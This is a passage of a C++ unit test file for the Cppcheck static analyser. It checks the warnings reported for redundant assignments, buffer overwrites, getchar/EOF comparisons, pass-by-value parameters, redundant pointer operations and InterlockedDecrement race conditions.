ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int num) {\\n\" // #9420 FN\n \" int a = num;\\n\"\n \" for (int b = 0; b < num; a = b++);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n void redundantVarAssignment_after_switch() {\n check(\"void f(int x) {\\n\" // #7907\n \" int ret;\\n\"\n \" switch (x) {\\n\"\n \" case 123:\\n\"\n \" ret = 1;\\n\" // redundant assignment\n \" break;\\n\"\n \" }\\n\"\n \" ret = 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13] -> [test.cpp:8:9]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n }\n\n void redundantVarAssignment_pointer() {\n check(\"void f(int *ptr) {\\n\"\n \" int *x = ptr + 1;\\n\"\n \" *x = 23;\\n\"\n \" foo(ptr);\\n\"\n \" *x = 32;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8997\n check(\"void f() {\\n\"\n \" char x[2];\\n\"\n \" char* p = x;\\n\"\n \" *p = 1;\\n\"\n \" p += 1;\\n\"\n \" *p = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_pointer_parameter() {\n check(\"void f(int *p) {\\n\"\n \" *p = 1;\\n\"\n \" if (condition) return;\\n\"\n \" *p = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_array() {\n check(\"void f() {\\n\"\n \" int arr[10];\\n\"\n \" int i = 0;\\n\"\n \" arr[i] = 1;\\n\"\n \" i += 2;\\n\"\n \" arr[i] = 3;\\n\"\n \" dostuff(arr);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_switch_break() {\n // #10058\n check(\"void f(int a, int b) {\\n\"\n \" int ret = 0;\\n\"\n \" switch (a) {\\n\"\n \" case 1:\\n\"\n \" ret = 543;\\n\"\n \" if (b) break;\\n\"\n \" ret = 1;\\n\"\n \" break;\\n\"\n \" }\"\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a, int b) {\\n\"\n \" int ret = 0;\\n\"\n \" switch (a) {\\n\"\n \" case 1:\\n\"\n \" ret = 543;\\n\"\n \" if (b) break;\\n\"\n \" ret = 1;\\n\"\n \" break;\\n\"\n \" }\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13] -> [test.cpp:7:13]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n }\n\n void redundantInitialization() {\n setMultiline();\n\n check(\"void f() {\\n\"\n \" int err = -ENOMEM;\\n\"\n \" err = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: style: Redundant initialization for 'err'. The initialized value is overwritten before it is read. [redundantInitialization]\\n\"\n \"[test.cpp:2:13]: note: err is initialized\\n\"\n \"[test.cpp:3:9]: note: err is overwritten\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" struct S s = {1,2,3};\\n\"\n \" s = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: style: Redundant initialization for 's'. The initialized value is overwritten before it is read. [redundantInitialization]\\n\"\n \"[test.cpp:2:16]: note: s is initialized\\n\"\n \"[test.cpp:3:7]: note: s is overwritten\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int *p = NULL;\\n\"\n \" p = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:10]: style: Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n // \"trivial\" initialization => do not warn\n check(\"void f() {\\n\"\n \" struct S s = {0};\\n\"\n \" s = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace N { enum E {e0,e1}; }\\n\"\n \"void f() {\\n\"\n \" N::E e = N::e0;\\n\" // #9261\n \" e = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #10143\n \" std::shared_ptr i = g();\\n\"\n \" h();\\n\"\n \" i = nullptr;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\" // #9815\n \" int i = g();\\n\"\n \" i = std::distance(v.begin(), std::find_if(v.begin(), v.end(), [=](int j) { return i == j; }));\\n\"\n \" return i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // cppcheck-suppress unusedPrivateFunction\n void redundantMemWrite() {\n // Simple tests\n // cppcheck-suppress unreachableCode - remove when code is enabled again\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(a, foo, bar);\\n\"\n \" memset(a, 0, bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" strcpy(a, foo);\\n\"\n \" strncpy(a, 0, bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" sprintf(a, \\\"foo\\\");\\n\"\n \" memmove(a, 0, bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n check(\"void f(char *filename) {\\n\"\n \" char *p = strrchr(filename,'.');\\n\"\n \" strcpy(p, \\\"foo\\\");\\n\"\n \" dostuff(filename);\\n\"\n \" strcpy(p, \\\"foo\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Writing to different parts of a buffer\n check(\"void f(void* a) {\\n\"\n \" memcpy(a, foo, bar);\\n\"\n \" memset(a+5, 0, bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Use variable as second argument\n check(\"void f(void* a, void* b) {\\n\"\n \" memset(a, 0, 5);\\n\"\n \" memcpy(b, a, 5);\\n\"\n \" memset(a, 1, 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // strcat is special\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" strcpy(a, foo);\\n\"\n \" strcat(a, bar);\\n\" // Not redundant\n \" strcpy(a, x);\\n\" // Redundant\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:5]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n // Tests with function call between copy\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" snprintf(a, foo, bar);\\n\"\n \" bar();\\n\"\n \" memset(a, 0, size);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:5]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n check(\"void* a;\\n\"\n \"void f() {\\n\"\n \" memset(a, 0, size);\\n\"\n \" bar();\\n\" // Global variable might be accessed in bar()\n \" memset(a, 0, size);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" memset(a, 0, size);\\n\"\n \" bar();\\n\"\n \" memset(a, 0, size);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:5]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", \"\", errout_str());\n\n check(\"void bar(void* a) {}\\n\"\n \"void f(void* a) {\\n\"\n \" memset(a, 0, size);\\n\"\n \" bar(a);\\n\" // Passed as argument\n \" memset(a, 0, size);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Branch tests\n check(\"void f(void* a) {\\n\"\n \" memset(a, 0, size);\\n\"\n \" if(x)\\n\"\n \" memset(a, 0, size);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4455 - initialization of local buffer\n check(\"void f(void) {\"\n \" char buf[10];\\n\"\n \" memset(buf, 0, 10);\\n\"\n \" strcpy(buf, string);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(void) {\\n\"\n \" char buf[10] = {0};\\n\"\n \" memset(buf, 0, 10);\\n\"\n \" strcpy(buf, string);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (performance) Buffer 'buf' is being written before its old content has been used.\\n\", errout_str());\n\n // #5689 - use return value of strcpy\n check(\"int f(void* a) {\\n\"\n \" int i = atoi(strcpy(a, foo));\\n\"\n \" strncpy(a, 0, bar);\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7175 - read+write\n check(\"void f() {\\n\"\n \" char buf[100];\\n\"\n \" strcpy(buf, x);\\n\"\n \" strcpy(buf, dostuff(buf));\\n\" // <- read + write\n \" strcpy(buf, x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char buf[100];\\n\"\n \" strcpy(buf, x);\\n\"\n \" strcpy(buf, dostuff(buf));\\n\"\n \" strcpy(buf, x);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n void redundantAssignmentSameValue() {\n check(\"int main() {\\n\" // #11642\n \" int a = 0;\\n\"\n \" int b = a;\\n\"\n \" int c = 1;\\n\"\n \" a = b;\\n\"\n \" return a * b * c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:5:5]: (style) Variable 'a' is assigned an expression that holds the same value. [redundantAssignment]\\n\", errout_str());\n\n check(\"int main() {\\n\"\n \" int a = 0;\\n\"\n \" int b = a;\\n\"\n \" int c = 1;\\n\"\n \" a = b + 1;\\n\"\n \" return a * b * c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int main() {\\n\"\n \" int a = 0;\\n\"\n \" int b = a;\\n\"\n \" int c = 1;\\n\"\n \" a = b = 5;\\n\"\n \" return a * b * c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:5:11]: (style) Redundant initialization for 'b'. The initialized value is overwritten before it is read. [redundantInitialization]\\n\", errout_str());\n\n check(\"int f(int i) {\\n\" // #12874\n \" int j = i + 1;\\n\"\n \" if (i > 5)\\n\"\n \" j = i;\\n\"\n \" return j;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12894\n \" std::string a;\\n\"\n \" void f(const S& s);\\n\"\n \" void g(const S& s);\\n\"\n \"};\\n\"\n \"void S::f(const S& s) {\\n\"\n \" std::string x = a;\\n\"\n \" this->operator=(s);\\n\"\n \" a = x;\\n\"\n \"}\\n\"\n \"void S::g(const S& s) {\\n\"\n \" std::string x = a;\\n\"\n \" operator=(s);\\n\"\n \" a = x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varFuncNullUB() { // #4482\n check(\"void a(...);\\n\"\n \"void b() { a(NULL); }\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (portability) Passing NULL after the last typed argument to a variadic function leads to undefined behaviour. [varFuncNullUB]\\n\", errout_str());\n\n check(\"void a(char *p, ...);\\n\"\n \"void b() { a(NULL, 2); }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkCastIntToCharAndBack() { // #160\n\n // check getchar\n check(\"void f() {\\n\"\n \"unsigned char c; c = getchar();\\n\"\n \" while( c != EOF)\\n\"\n \" {\\n\"\n \" bar(c);\\n\"\n \" c = getchar();\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Storing getchar() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \"unsigned char c = getchar();\\n\"\n \" while( EOF != c)\\n\"\n \" {\\n\"\n \" bar(c);\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (warning) Storing getchar() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" unsigned char c; c = getchar();\\n\"\n \" while( EOF != c )\\n\"\n \" {\\n\"\n \" bar(c);\\n\"\n \" c = getchar();\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (warning) Storing getchar() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" unsigned char c;\\n\"\n \" while( EOF != ( c = getchar() ) )\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Storing getchar() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i; i = getchar();\\n\"\n \" while( i != EOF)\\n\"\n \" {\\n\"\n \" bar(i);\\n\"\n \" i = getchar();\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i; i = getchar();\\n\"\n \" while( EOF != i )\\n\"\n \" {\\n\"\n \" bar(i);\\n\"\n \" i = getchar();\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n // check getc\n check(\"void f (FILE * pFile){\\n\"\n \"unsigned char c;\\n\"\n \"do {\\n\"\n \" c = getc (pFile);\\n\"\n \"} while (c != EOF);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (warning) Storing getc() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"unsigned char c;\\n\"\n \"do {\\n\"\n \" c = getc (pFile);\\n\"\n \"} while (EOF != c);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (warning) Storing getc() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"int i;\\n\"\n \"do {\\n\"\n \" i = getc (pFile);\\n\"\n \"} while (i != EOF);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"int i;\\n\"\n \"do {\\n\"\n \" i = getc (pFile);\\n\"\n \"} while (EOF != i);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n // check fgetc\n check(\"void f (FILE * pFile){\\n\"\n \"unsigned char c;\\n\"\n \"do {\\n\"\n \" c = fgetc (pFile);\\n\"\n \"} while (c != EOF);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (warning) Storing fgetc() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"char c;\\n\"\n \"do {\\n\"\n \" c = fgetc (pFile);\\n\"\n \"} while (EOF != c);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (warning) Storing fgetc() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"signed char c;\\n\"\n \"do {\\n\"\n \" c = fgetc (pFile);\\n\"\n \"} while (EOF != c);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"int i;\\n\"\n \"do {\\n\"\n \" i = fgetc (pFile);\\n\"\n \"} while (i != EOF);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"int i;\\n\"\n \"do {\\n\"\n \" i = fgetc (pFile);\\n\"\n \"} while (EOF != i);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // cin.get()\n check(\"void f(){\\n\"\n \" char ch; ch = std::cin.get();\\n\"\n \" while (EOF != ch) {\\n\"\n \" std::cout << ch;\\n\"\n \" ch = std::cin.get();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:18]: (warning) Storing cin.get() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f(){\\n\"\n \" char ch; ch = std::cin.get();\\n\"\n \" while (ch != EOF) {\\n\"\n \" std::cout << ch;\\n\"\n \" ch = std::cin.get();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (warning) Storing cin.get() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f(){\\n\"\n \" int i; i = std::cin.get();\\n\"\n \" while ( EOF != i ) {\\n\"\n \" std::cout << i;\\n\"\n \" i = std::cin.get();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(){\\n\"\n \" int i; i = std::cin.get();\\n\"\n \" while ( i != EOF ) {\\n\"\n \" std::cout << i;\\n\"\n \" i = std::cin.get();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkCommaSeparatedReturn() {\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return a++,\\n\"\n \" do_something();\\n\"\n \"}\", true, false, false);\n TODO_ASSERT_EQUALS(\"[test.cpp:3]: (style) Comma is used in return statement. The comma can easily be misread as a ';'.\\n\", \"\", errout_str());\n\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return a++, do_something();\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return a+5,\\n\"\n \" do_something();\\n\"\n \"}\", true, false, false);\n TODO_ASSERT_EQUALS(\"[test.cpp:3]: (style) Comma is used in return statement. The comma can easily be misread as a ';'.\\n\", \"\", errout_str());\n\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return a+5, do_something();\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return c::b;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4943 take care of C++11 initializer lists\n check(\"std::vector Bar() {\\n\"\n \" return\\n\"\n \" {\\n\"\n \" { \\\"1\\\" },\\n\"\n \" { \\\"2\\\" },\\n\"\n \" { \\\"3\\\" }\\n\"\n \" };\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkPassByReference() {\n // #8570 passByValue when std::move is used\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" explicit B(A a) : a(std::move(a)) {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" explicit B(A a) : a{std::move(a)} {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" B(A a, A a2) : a{std::move(a)}, a2{std::move(a2)} {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \" A a2;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" B(A a, A a2) : a{std::move(a)}, a2{a2} {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \" A a2;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"[test.cpp:8:14]: (performance) Function parameter 'a2' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" B(A a, A a2) : a{std::move(a)}, a2(a2) {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \" A a2;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"[test.cpp:8:14]: (performance) Function parameter 'a2' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"std::map m;\\n\" // #10817\n \"void f(const decltype(m)::const_iterator i) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int (*pf) (std::vector) = nullptr;\\n\" // #12118\n \"int f(std::vector v) {\\n\"\n \" return v.size();\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" pf = f;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:10] -> [test.cpp:2:24]: (performance) Function parameter 'v' should be passed by const reference. However it seems that 'f' is a callback function. [passedByValueCallback]\\n\",\n errout_str());\n\n check(\"template struct A;\\n\" // #12621\n \"template\\n\"\n \"struct B { A a; };\\n\"\n \"template\\n\"\n \"struct A { B b; };\\n\"\n \"template\\n\"\n \"struct C : public virtual A, public virtual B {\\n\"\n \" A x;\\n\"\n \" B y;\\n\"\n \" C(A x_, B y_) : x(x_), y(y_) {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str()); // don't crash\n\n check(\"template \\n\" // #13537\n \" struct S {\\n\"\n \" T a[N];\\n\"\n \"};\\n\"\n \"void f(S s) {}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n Settings settingsUnix32 = settingsBuilder().platform(Platform::Type::Unix32).build();\n check(\"struct S {\\n\" // #13850\n \" int i0 : 32;\\n\"\n \" int i1 : 16;\\n\"\n \" unsigned short u16;\\n\"\n \"};\\n\"\n \"void f(S s) {}\\n\", true, true, true, false, &settingsUnix32);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkComparisonFunctionIsAlwaysTrueOrFalse() {\n // positive test\n check(\"bool f(int x){\\n\"\n \" return isless(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with isless(x,x) always evaluates to false. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n check(\"bool f(int x){\\n\"\n \" return isgreater(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with isgreater(x,x) always evaluates to false. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n check(\"bool f(int x){\\n\"\n \" return islessgreater(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with islessgreater(x,x) always evaluates to false. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n check(\"bool f(int x){\\n\"\n \" return islessequal(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with islessequal(x,x) always evaluates to true. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n check(\"bool f(int x){\\n\"\n \" return isgreaterequal(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with isgreaterequal(x,x) always evaluates to true. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n // no warning should be reported for\n check(\"bool f(int x, int y){\\n\"\n \" return isgreaterequal(x,y) && islessequal(x,y) && islessgreater(x,y) && isgreater(x,y) && isless(x,y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void integerOverflow() { // 5895\n // no signed integer overflow should happen\n check(\"void f(unsigned long long ull) {\\n\"\n \" if (ull == 0x89504e470d0a1a0a || ull == 0x8a4d4e470d0a1a0a) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantPointerOp() {\n check(\"int *f(int *x) {\\n\"\n \" return &*x;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) Redundant pointer operation on 'x' - it's already a pointer. [redundantPointerOp]\\n\", errout_str());\n\n check(\"int *f(int *y) {\\n\"\n \" return &(*y);\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) Redundant pointer operation on 'y' - it's already a pointer. [redundantPointerOp]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #10991\n \" int value = 4;\\n\"\n \" int result1 = *(&value);\\n\"\n \" int result2 = *&value;\\n\"\n \" return result1 + result2;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Redundant pointer operation on 'value' - it's already a variable. [redundantPointerOp]\\n\"\n \"[test.cpp:4:19]: (style) Redundant pointer operation on 'value' - it's already a variable. [redundantPointerOp]\\n\",\n errout_str());\n\n check(\"void f(int& a, int b) {\\n\"\n \" *(&a) = b;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Redundant pointer operation on 'a' - it's already a variable. [redundantPointerOp]\\n\",\n errout_str());\n\n check(\"void f(int**& p) {}\\n\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define\tRESTORE(ORIG, COPY) { *ORIG = *COPY; }\\n\"\n \"void f(int* p, int i) {\\n\"\n \" RESTORE(p, &i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // no warning for bitwise AND\n check(\"void f(const int *b) {\\n\"\n \" int x = 0x20 & *b;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // No message for double pointers to structs\n check(\"void f(struct foo **my_struct) {\\n\"\n \" char **pass_to_func = &(*my_struct)->buf;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // another double pointer to struct - with an array\n check(\"void f(struct foo **my_struct) {\\n\"\n \" char **pass_to_func = &(*my_struct)->buf[10];\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // double pointer to array\n check(\"void f(char **ptr) {\\n\"\n \" int *x = &(*ptr)[10];\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Variable 'x' can be declared as pointer to const [constVariablePointer]\\n\", errout_str());\n\n // function calls\n check(\"void f(Mutex *mut) {\\n\"\n \" pthread_mutex_lock(&*mut);\\n\"\n \"}\\n\", true, false);\n ASSERT_EQUALS(\"[test.cpp:2:24]: (style) Redundant pointer operation on 'mut' - it's already a pointer. [redundantPointerOp]\\n\", errout_str());\n\n // make sure we got the AST match for \"(\" right\n check(\"void f(char *ptr) {\\n\"\n \" if (&*ptr == NULL)\\n\"\n \" return;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Redundant pointer operation on 'ptr' - it's already a pointer. [redundantPointerOp]\\n\", errout_str());\n\n // no warning for macros\n checkP(\"#define MUTEX_LOCK(m) pthread_mutex_lock(&(m))\\n\"\n \"void f(struct mutex *mut) {\\n\"\n \" MUTEX_LOCK(*mut);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define B(op) bar(op)\\n\"\n \"#define C(orf) B(&orf)\\n\"\n \"void foo(const int * pkey) {\\n\"\n \" C(*pkey);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void test_isSameExpression() { // see #5738\n check(\"bool isInUnoIncludeFile(StringRef name) {\"\n \" return name.startswith(SRCDIR \\\"/com/\\\") || name.startswith(SRCDIR \\\"/uno/\\\");\\n\"\n \"};\", true, false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void raceAfterInterlockedDecrement() {\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" whatever();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (!counter)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() 